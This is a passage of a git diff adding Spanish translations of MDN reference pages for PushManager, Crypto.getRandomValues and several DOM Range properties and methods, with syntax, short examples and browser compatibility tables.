+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(42.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Push_API/Using_the_Push_API">Using the Push API</a></li>
+ <li><a href="/en-US/docs/Web/API/Push_API">Push API</a></li>
+ <li><a href="/en-US/docs/Web/API/Service_Worker_API">Service Worker API</a></li>
+</ul>
diff --git a/files/es/web/api/pushmanager/permissionstate/index.html b/files/es/web/api/pushmanager/permissionstate/index.html
new file mode 100644
index 0000000000..f017b2da93
--- /dev/null
+++ b/files/es/web/api/pushmanager/permissionstate/index.html
@@ -0,0 +1,111 @@
+---
+title: PushManager.permissionState()
+slug: Web/API/PushManager/permissionState
+translation_of: Web/API/PushManager/permissionState
+---
+<p>{{SeeCompatTable}}{{ApiRef("Push API")}}</p>
+
+<p>El metodo <strong><code>permissionState()</code></strong>  de la interface   {{domxref("PushManager")}} retorna un {{jsxref("Promise")}} that resolves to a {{domxref("DOMString")}} indicating the permission state of the push manager. Possible values are  <code>'prompt'</code>, <code>'denied'</code>, or <code>'granted'</code>.</p>
+
+<div class="note">
+<p><strong>Note</strong>: As of Firefox 44, the permissions for <a href="/en-US/docs/Web/API/Notifications_API">Notifications</a> and <a href="/en-US/docs/Web/API/Push_API">Push</a> have been merged. If permission is granted for notifications, push will also be enabled.</p>
+</div>
+
+<h2 id="Sintaxis"><span>Sintaxis</span></h2>
+
+<pre class="syntaxbox">PushManager.permissionState(options).then(function(PushMessagingState) { ... });
+</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>opciones {{optional_inline}}</code></dt>
+ <dd>An object containing optional configuration parameters. It can have the following properties:
+ <ul>
+  <li><code>userVisibleOnly</code>: A boolean indicating that the returned push subscription will only be used for messages whose effect is made visible to the user.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Retorna">Retorna</h3>
+
+<p>Un {{jsxref("Promise")}} que resuelve a un {{domxref("DOMString")}} con un valor de  <code>'prompt'</code>, <code>'denied'</code>, o <code>'granted'</code>.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Push API','#widl-PushManager-permissionState-Promise-PushPermissionState--PushSubscriptionOptions-options','permissionState()')}}</td>
+   <td>{{Spec2('Push API')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compactibilidad_del_Navegador">Compactibilidad del Navegador</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(42.0)}}</td>
+   <td>{{CompatGeckoDesktop(44.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(42.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Push_API/Using_the_Push_API">Using the Push API</a></li>
+</ul>
diff --git a/files/es/web/api/pushmanager/supportedcontentencodings/index.html b/files/es/web/api/pushmanager/supportedcontentencodings/index.html
new file mode 100644
index 0000000000..9966fa3cda
--- /dev/null
+++ b/files/es/web/api/pushmanager/supportedcontentencodings/index.html
@@ -0,0 +1,43 @@
+---
+title: PushManager.supportedContentEncodings
+slug: Web/API/PushManager/supportedContentEncodings
+translation_of: Web/API/PushManager/supportedContentEncodings
+---
+<p>{{SeeCompatTable}}{{APIRef("Push API")}}</p>
+
+<p>La propiedad<strong><code>supportedContentEncodings</code></strong> de solo lectura (read-only) de la interfaz {{domxref("PushManager")}} devuelve un array de los codigos de contenido que puede soportar y que pueden ser usados para encriptar los datos (payload) de un push-message.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">var <em>encodings</em>[] = PushManager.<em>supportedContentEncodings</em></pre>
+
+<h3 id="Valor">Valor</h3>
+
+<p>Un <em>array </em>de <em>Strings</em></p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Push API','#dom-pushmanager-supportedcontentencodings','supportedContentEncodings')}}</td>
+   <td>{{Spec2('Push API')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility">Browser Compatibility</h2>
+
+<div>
+<div>
+
+
+<p>{{Compat("api.PushManager.supportedContentEncodings")}}</p>
+</div>
+</div>
diff --git a/files/es/web/api/randomsource/index.html b/files/es/web/api/randomsource/index.html
new file mode 100644
index 0000000000..7c68f85c01
--- /dev/null
+++ b/files/es/web/api/randomsource/index.html
@@ -0,0 +1,110 @@
+---
+title: RandomSource
+slug: Web/API/RandomSource
+tags:
+  - API
+  - Interface
+  - NeedsTranslation
+  - RandomSource
+  - Reference
+  - TopicStub
+  - Web Crypto API
+translation_of: Web/API/Crypto/getRandomValues
+---
+<p>{{APIRef("Web Crypto API")}}</p>
+
+<p><strong><code>RandomSource</code></strong> represents a source of cryptographically secure random numbers. It is available via the {{domxref("Crypto")}} object of the global object: {{domxref("Window.crypto")}} on Web pages, {{domxref("WorkerGlobalScope.crypto")}} in workers.</p>
+
+<p><code>RandomSource</code> is a not an interface and no object of this type can be created.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em><code>RandomSource</code> neither defines nor inherits any property.</em></p>
+
+<dl>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{ domxref("RandomSource.getRandomValues()") }}</dt>
+ <dd>Fills the passed {{ domxref("ArrayBufferView") }} with cryptographically sound random values.</dd>
+</dl>
+
+<h2 id="Specification" name="Specification">Specification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Crypto API', '#dfn-RandomSource')}}</td>
+   <td>{{Spec2('Web Crypto API')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility">Browser Compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>11.0 {{ webkitbug("22049") }}</td>
+   <td>{{CompatGeckoDesktop(21)}} [1]</td>
+   <td>11.0</td>
+   <td>15.0</td>
+   <td>3.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatNo() }}</td>
+   <td>23</td>
+   <td>{{CompatGeckoMobile(21)}}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>6</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Although the transparent <code>RandomSource</code> is only available since Firefox 26, the feature was available in Firefox 21.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{ domxref("Window.crypto") }} to get a {{domxref("Crypto")}} object.</li>
+ <li>{{jsxref("Math.random")}}, a non-cryptographic source of random numbers.</li>
+</ul>
diff --git a/files/es/web/api/randomsource/obtenervaloresaleatorios/index.html b/files/es/web/api/randomsource/obtenervaloresaleatorios/index.html
new file mode 100644
index 0000000000..b6e09439a9
--- /dev/null
+++ b/files/es/web/api/randomsource/obtenervaloresaleatorios/index.html
@@ -0,0 +1,75 @@
+---
+title: Crypto.getRandomValues()
+slug: Web/API/RandomSource/Obtenervaloresaleatorios
+tags:
+  - API
+  - Criptografía
+  - Referencia
+  - metodo
+translation_of: Web/API/Crypto/getRandomValues
+---
+<p>{{APIRef("Web Crypto API")}}</p>
+
+<p>El método <code><strong>Crypto.getRandomValues()</strong></code> permite obtener valores aleatorios criptográficamente fuertes. El array que se pasa como parámetro se rellena con números aleatorios (entiéndase aleatorios en el sentido criptográfico).</p>
+
+<p>Con el fin de garantizar un rendimiento razonable, las distintas implementaciones no utilizan un generador de numeros aleatorios puro, sino que utilizan un generador numérico pseudo-aleatorio, sembrado con un valor con suficiente entropía. Los generadores numéricos pseudo-aleatorios utilizados difieren entre {{Glossary("user agent", "user agents")}}, pero son adecuados para usos criptográficos. Se require también que las distintas implementaciones usen una semilla con suficiente entropía, como una fuente de entropía a nivel de sistema.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><em>cryptoObj</em>.getRandomValues(<em>typedArray</em>);</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><em>typedArray</em></dt>
+ <dd>Es un entero {{jsxref("TypedArray")}}, que puede ser un {{jsxref("Int8Array")}}, un {{jsxref("Uint8Array")}}, un {{jsxref("Int16Array")}}, un {{jsxref("Uint16Array")}}, un {{jsxref("Int32Array")}}, o un {{jsxref("Uint32Array")}}. Todos los elementos dentro del array seran sobreescritos con números aleatorios.</dd>
+</dl>
+
+<h3 id="Excepciones">Excepciones</h3>
+
+<ul>
+ <li>Una {{exception("QuotaExceededError")}} {{domxref("DOMException")}} es lanzada si la longitud solicitada es mayor a 65536 bytes.</li>
+</ul>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush: js">/* Asumiendo que window.crypto.getRandomValues está disponible */
+
+var array = new Uint32Array(10);
+window.crypto.getRandomValues(array);
+
+console.log("Tus numeros de la suerte:");
+for (var i = 0; i &lt; array.length; i++) {
+    console.log(array[i]);
+}
+</pre>
+
+<h2 id="Specification" name="Specification">Especificación</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Crypto API', '#RandomSource-method-getRandomValues')}}</td>
+   <td>{{Spec2('Web Crypto API')}}</td>
+   <td>Definición Inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<p>La tabla de compatibilidad de esta página se genera a partir de datos estructurados. Si desea contribuir a los datos, por favor, compruebe <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envianos un pull request.</p>
+
+<p>{{Compat("api.Crypto.getRandomValues")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{ domxref("Window.crypto") }} para obtener un objeto tipo {{domxref("Crypto")}}.</li>
+ <li>{{jsxref("Math.random")}}, una fuente no criptográfica de números aleatorios.</li>
+</ul>
diff --git a/files/es/web/api/range/collapsed/index.html b/files/es/web/api/range/collapsed/index.html
new file mode 100644
index 0000000000..ce3b6fa91f
--- /dev/null
+++ b/files/es/web/api/range/collapsed/index.html
@@ -0,0 +1,35 @@
+---
+title: range.collapsed
+slug: Web/API/Range/collapsed
+translation_of: Web/API/Range/collapsed
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+
+<p>Devuelve un valor booleano verdadero indicando si los puntos de inicio y fin de un rango están en la misma posición.</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval">isCollapsed = range.collapsed;
+</pre>
+
+<h3 id="Ejemplo" name="Ejemplo">Ejemplo</h3>
+
+<pre class="eval">range = document.createRange();
+range.setStart(startNode,startOffset);
+range.setEnd(endNode,endOffset);
+isCollapsed = range.collapsed;
+</pre>
+
+<h3 id="Notas" name="Notas">Notas</h3>
+
+<p>Devuelve un valor boleano verdadero si los puntos límite inicial y final del rango están en el mismo punto en el DOM, y devuelve un valor falso si no lo están.</p>
+
+<p>Un rango plegado está vacío, sin tener algún contenido, especificando un simple punto en el árbol del DOM. La propiedad plegada es de sólo lectura. Para plegar un rango, vea el método <a href="es/DOM/range.collapse"> collapse</a>.</p>
+
+<h3 id="Especificaci.C3.B3n" name="Especificaci.C3.B3n">Especificación</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Traversal-Range/ranges.html#Level-2-Range-attr-collapsed">collapsed</a></p>
+
+<p>{{ languages( { "en": "en/DOM/range.collapsed", "ja": "ja/DOM/range.collapsed" } ) }}</p>
diff --git a/files/es/web/api/range/commonancestorcontainer/index.html b/files/es/web/api/range/commonancestorcontainer/index.html
new file mode 100644
index 0000000000..0f449e5858
--- /dev/null
+++ b/files/es/web/api/range/commonancestorcontainer/index.html
@@ -0,0 +1,35 @@
+---
+title: range.commonAncestorContainer
+slug: Web/API/Range/commonAncestorContainer
+translation_of: Web/API/Range/commonAncestorContainer
+---
+<div>{{ApiRef("DOM")}}</div>
+
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+
+<p>Devuelve el nodo más profundo que contienen los nodos <a href="es/DOM/range.startContainer"> startContainer</a> y <a href="es/DOM/range.endContainer"> endContainer</a>.</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval">rangeAncestor = range.commonAncestorContainer;
+</pre>
+
+<h3 id="Ejemplo" name="Ejemplo">Ejemplo</h3>
+
+<pre class="eval">range = document.createRange();
+range.setStart(startNode,startOffset);
+range.setEnd(endNode,endOffset);
+rangeAncestor = range.commonAncestorContainer;
+</pre>
+
+<h3 id="Notas" name="Notas">Notas</h3>
+
+<p>Devuelve el último nodo, o el más lejano a lo largo del árbol del documento, que contienen los nodos <a href="es/DOM/range.startContainer"> startContainer</a> y <a href="es/DOM/range.endContainer"> endContainer</a>. Ya que un rango no necesita ser contínuo y puede seleccionar nodos parcialmente, ésta es una forma conveniente para encontrar un nodo que encierra un rango.</p>
+
+<p>Esta propiedad es de sólo lectura. Para cambiar el contenedor ancestro de un nodo, considere usar varios métodos para definir las posiciones iniciales y finales de el rango.</p>
+
+<h3 id="Especificaci.C3.B3n" name="Especificaci.C3.B3n">Especificación</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Traversal-Range/ranges.html#Level-2-Range-attr-commonParent">commonAncestorContainer</a></p>
+
+<p>{{ languages( { "en": "en/DOM/range.commonAncestorContainer" } ) }}</p>
diff --git a/files/es/web/api/range/getclientrects/index.html b/files/es/web/api/range/getclientrects/index.html
new file mode 100644
index 0000000000..c324753d0b
--- /dev/null
+++ b/files/es/web/api/range/getclientrects/index.html
@@ -0,0 +1,103 @@
+---
+title: Range.getClientRects()
+slug: Web/API/Range/getClientRects
+tags:
+  - API
+  - Experimental
+  - Rango
+  - Vista CSSOM
+  - metodo
+translation_of: Web/API/Range/getClientRects
+---
+<p>{{ApiRef("DOM")}}{{ seeCompatTable }}</p>
+
+<p>El método <strong><code>Range.getClientRects()</code></strong><strong> </strong>regresa una lista de objetos {{ domxref("DOMRect") }} los cuales representan el área de la pantalla ocupada por el <a href="/es/DOM/range" title="https://developer.mozilla.org/es/dom:range">rango</a>. El resultado es generado al agregar los resultados de las llamadas a {{ domxref("Element.getClientRects()") }} para cada uno de los elementos dentro del rango.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox"><em>rectList</em> = <em>range</em>.getClientRects()
+</pre>
+
+<h2 id="Example" name="Example">Ejemplo</h2>
+
+<pre class="brush: js">range = document.createRange();
+range.selectNode(document.getElementsByTagName("div").item(0));
+rectList = range.getClientRects();
+</pre>
+
+<h2 id="Specification" name="Specification">Especificación</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#dom-range-getclientrects', 'Range.getClientRects()')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td>Especificación inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_los_Navegadores">Compatibilidad en los Navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>9</td>
+   <td>15.0</td>
+   <td>5</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>15.0</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{domxref("Range")}}</li>
+</ul>
diff --git a/files/es/web/api/range/index.html b/files/es/web/api/range/index.html
new file mode 100644
index 0000000000..8a9cc686ea
--- /dev/null
+++ b/files/es/web/api/range/index.html
@@ -0,0 +1,108 @@
+---
+title: range
+slug: Web/API/Range
+tags:
+  - DOM
+  - Todas_las_Categorías
+translation_of: Web/API/Range
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<h3 id="Introducci.C3.B3n" name="Introducci.C3.B3n">Introducción</h3>
+
+<p>El objeto <code>Range</code> representa un fragmento de un documento que puede contener nodos y partes de nodos de texto en un documento dado.</p>
+
+<p>Un rango puede ser creado usando el método <code><a href="es/DOM/document.createRange">createRange</a></code> del objeto <code><a href="es/DOM/document">document</a></code>. Los objetos rango pueden ser recuperados usando el método <code><a href="es/DOM/Selection/getRangeAt">getRangeAt</a></code> del objeto <code><a href="es/DOM/selection">Selection</a></code>.</p>
+
+<h3 id="Propiedades" name="Propiedades">Propiedades</h3>
+
+<dl>
+ <dt><a href="es/DOM/range.collapsed">collapsed</a></dt>
+ <dd>Devuelve un valor booleano indicando si los puntos de inicio y fin están en la misma posición.</dd>
+ <dt><a href="es/DOM/range.commonAncestorContainer">commonAncestorContainer</a></dt>
+ <dd>Devuelve el nodo más profundo que contiene los nodos <strong>startContainer</strong> y <strong>endContainer</strong>.</dd>
+ <dt><a href="es/DOM/range.endContainer">endContainer</a></dt>
+ <dd>Devuelve el nodo dentro del cual termina el rango.</dd>
+ <dt><a href="es/DOM/range.endOffset">endOffset</a></dt>
+ <dd>Devuelve un número representando donde termina el <code>Range</code> en el <code>endContainer</code>.</dd>
+ <dt><a href="es/DOM/range.startContainer">startContainer</a></dt>
+ <dd>Devuelve el nodo dentro del cual comienza el rango.</dd>
+ <dt><a href="es/DOM/range.startOffset">startOffset</a></dt>
+ <dd>Devuelve un número representando donde empieza el <code>Range</code> en el <code>endContainer</code>.</dd>
+</dl>
+
+<h3 id="M.C3.A9todos" name="M.C3.A9todos">Métodos</h3>
+
+<h4 id="M.C3.A9todos_de_ubicaci.C3.B3n" name="M.C3.A9todos_de_ubicaci.C3.B3n">Métodos de ubicación</h4>
+
+<p>Estos métodos definen el punto de inicio y fin de un rango.</p>
+
+<dl>
+ <dt><a href="es/DOM/range.setStart">setStart</a></dt>
+ <dd>Define la posición inicial de un rango.</dd>
+ <dt><a href="es/DOM/range.setEnd">setEnd</a></dt>
+ <dd>Define la posición final de un rango.</dd>
+ <dt><a href="es/DOM/range.setStartBefore">setStartBefore</a></dt>
+ <dd>Define la posición inicial de un rango relativa a otro nodo.</dd>
+ <dt><a href="es/DOM/range.setStartAfter">setStartAfter</a></dt>
+ <dd>Define la posición inicial de un rango relativa a otro nodo.</dd>
+ <dt><a href="es/DOM/range.setEndBefore">setEndBefore</a></dt>
+ <dd>Define la posición final de un rango relativa a otro nodo.</dd>
+ <dt><a href="es/DOM/range.setEndAfter">setEndAfter</a></dt>
+ <dd>Define la posición final de un rango relativa a otro nodo.</dd>
+ <dt><a href="es/DOM/range.selectNode">selectNode</a></dt>
+ <dd>Define el rango a contener el nodo y sus contenidos.</dd>
+ <dt><a href="es/DOM/range.selectNodeContents">selectNodeContents</a></dt>
+ <dd>Define el rango a contener los contenidos de un nodo.</dd>
+ <dt><a href="es/DOM/range.collapse">collapse</a></dt>
+ <dd>Pliega el Rango a uno de sus puntos límite.</dd>
+</dl>
+
+<h4 id="Editando_m.C3.A9todos" name="Editando_m.C3.A9todos">Editando métodos</h4>
+
+<p>Estos métodos recuperan nodos de un rango y modifican los contenidos de un rango.</p>
+
+<dl>
+ <dt><a href="es/DOM/range.cloneContents">cloneContents</a></dt>
+ <dd>Devuelve un fragmento de documento copiando los nodos de un rango.</dd>
+ <dt><a href="es/DOM/range.deleteContents">deleteContents</a></dt>
+ <dd>Elimina del documento los contenidos de un rango.</dd>
+ <dt><a href="es/DOM/range.extractContents">extractContents</a></dt>
+ <dd>Mueve los contenidos de un rango del árbol de documento a un fragmento del documento.</dd>
+ <dt><a href="es/DOM/range.insertNode">insertNode</a></dt>
+ <dd>Inserta un nodo al comienzo de un rango.</dd>
+ <dt><a href="es/DOM/range.surroundContents">surroundContents</a></dt>
+ <dd>Mueve el contenido de un rango a un nodo nuevo.</dd>
+</dl>
+
+<h4 id="Otros_m.C3.A9todos" name="Otros_m.C3.A9todos">Otros métodos</h4>
+
+<dl>
+ <dt><a href="es/DOM/range.compareBoundaryPoints">compareBoundaryPoints</a></dt>
+ <dd>Compara los puntos límite de dos rangos.</dd>
+ <dt><a href="es/DOM/range.cloneRange">cloneRange</a></dt>
+ <dd>Devuelve un objeto rango con puntos límites idénticos al rango clonado.</dd>
+ <dt><a href="es/DOM/range.detach">detach</a></dt>
+ <dd>Libera el Rango desde el uso para mejorar el rendimiento.</dd>
+ <dt><a href="es/DOM/range.toString">toString</a></dt>
+ <dd>Devuelve el texto del rango.</dd>
+</dl>
+
+<h4 id="M.C3.A9todos_de_Gecko" name="M.C3.A9todos_de_Gecko">Métodos de Gecko</h4>
+
+<p>Esta sección describe métodos de <code>Range</code> que son particulares a Mozilla y no son parte de las especificaciones DOM W3C.</p>
+
+<dl>
+ <dt><a href="es/DOM/range.compareNode">compareNode</a> {{obsolete_inline}}</dt>
+ <dd>Devuelve una constante representando si el nodo está antes, después, dentro o alrededor del rango.</dd>
+ <dt><a href="es/DOM/range.comparePoint">comparePoint</a></dt>
+ <dd>Devuelve -1, 0, or 1 indicando si el punto ocurre antes, dentro o después del rango.</dd>
+ <dt><a href="es/DOM/range.createContextualFragment">createContextualFragment</a></dt>
+ <dd>Devuelve un fragmenteo de documento creado de un texto de código.</dd>
+ <dt><a href="es/DOM/range.intersectsNode">intersectsNode</a> {{obsolete_inline}}</dt>
+ <dd>Devuelve un valor boleano verdadero si el nodo dado intersecta el rango.</dd>
+ <dt><a href="es/DOM/range.isPointInRange">isPointInRange</a></dt>
+ <dd>Devuelve un valor boleano verdadero indicando si el punto dado está en el rango.</dd>
+</dl>
+
+<p>{{ languages( { "en": "en/DOM/range", "fr": "fr/DOM/range", "ja": "ja/DOM/range", "pl": "pl/DOM/range" } ) }}</p>
diff --git a/files/es/web/api/range/intersectsnode/index.html b/files/es/web/api/range/intersectsnode/index.html
new file mode 100644
index 0000000000..5ffd11b79e
--- /dev/null
+++ b/files/es/web/api/range/intersectsnode/index.html
@@ -0,0 +1,48 @@
+---
+title: range.intersectsNode
+slug: Web/API/Range/intersectsNode
+tags:
+  - Referencia_DOM_de_Gecko
+translation_of: Web/API/Range/intersectsNode
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Summary" name="Summary">Summary</h3>
+<p>{{ Obsolete_header() }} Returns a boolean indicating whether the given node intersects the range.</p>
+<h3 id="Syntax" name="Syntax">Syntax</h3>
+<pre class="eval">bool = range.intersectsNode( referenceNode )
+</pre>
+<h3 id="Parameters" name="Parameters">Parameters</h3>
+<dl>
+ <dt>
+  referenceNode </dt>
+ <dd>
+  The <code>Node</code> to compare with the <code>Range</code>.</dd>
+</dl>
+<h3 id="Example" name="Example">Example</h3>
+<pre class="eval">range = document.createRange();
+range.selectNode(document.getElementsByTagName("div").item(0));
+bool = range.intersectsNode(document.getElementsByTagName("p").item(0));
+</pre>
+<h3 id="Notes" name="Notes">Notes</h3>
+<p>This method is obsolete; you should instead use the W3C DOM Range methods (see <code><a href="es/DOM/range.compareBoundaryPoints">compareBoundaryPoints()</a></code>).</p>
+<div class="warning">
+ <b>Warning:</b> This method <a href="es/Gecko_1.9_Changes_affecting_websites">has been removed</a> from <a href="es/Gecko">Gecko</a> 1.9 and will not exist in future versions of Firefox; you should switch to <code>compareBoundaryPoints()</code> as soon as possible.</div>
+<p>The following function can be used as replacement:</p>
+<pre class="eval">function rangeIntersectsNode(range, node) {
+  var nodeRange = node.ownerDocument.createRange();
+  try {
+    nodeRange.selectNode(node);
+  }
+  catch (e) {
+    nodeRange.selectNodeContents(node);
+  }
+
+  return range.compareBoundaryPoints(Range.END_TO_START, nodeRange) == -1 &amp;&amp;
+         range.compareBoundaryPoints(Range.START_TO_END, nodeRange) == 1;
+}
+</pre>
+<h3 id="Specification" name="Specification">Specification</h3>
+<p>This method is not part of a specification.</p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/range.intersectsNode", "pl": "pl/DOM/range.intersectsNode" } ) }}</p>
diff --git a/files/es/web/api/range/setstart/index.html b/files/es/web/api/range/setstart/index.html
new file mode 100644
index 0000000000..f4a991615c
--- /dev/null
+++ b/files/es/web/api/range/setstart/index.html
@@ -0,0 +1,120 @@
+---
+title: Range.setStart()
+slug: Web/API/Range/setStart
+translation_of: Web/API/Range/setStart
+---
+<p>{{ApiRef("DOM")}}</p>
+
+<p>El método <strong><code>Range.setStart()</code></strong> establece la posición de inicio de un {{ domxref("Range") }}.</p>
+
+<p>Si <code>startNode</code> es un {{ domxref("Node") }} de tipo <code>Text</code>, <code>Comment</code>, o <code>CDATASection</code>, entonces <code>startOffset</code> es el número de caracteres de partida de <code>startNode</code>. Para otros tiposde nodos, <code>startOffset</code> es el número de nodos hijos entre el inicio de los <code>startNode</code>.</p>
+
+<p>Setting the start point below (lower in the document) the end point will result in a collapsed range with the start and end points both set to the specified start position.</p>
+
+<p>Definiendo el punto de partida abajo (más abajo en el documento) el punto final resultará en un rango colapsado con el punto tanto de inicio como de entrada establecidos a la posición de partida especificada.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><em>range</em>.setStart(<em>startNode</em>, <em>startOffset</em>);
+</pre>
+
+<h3 id="Parameters" name="Parameters">Parámetros</h3>
+
+<dl>
+ <dt><em>startNode</em></dt>
+ <dd>El {{ domxref("Node") }} donde {{ domxref("Range") }} debe empezar.</dd>
+ <dt><em>startOffset</em><code> </code></dt>
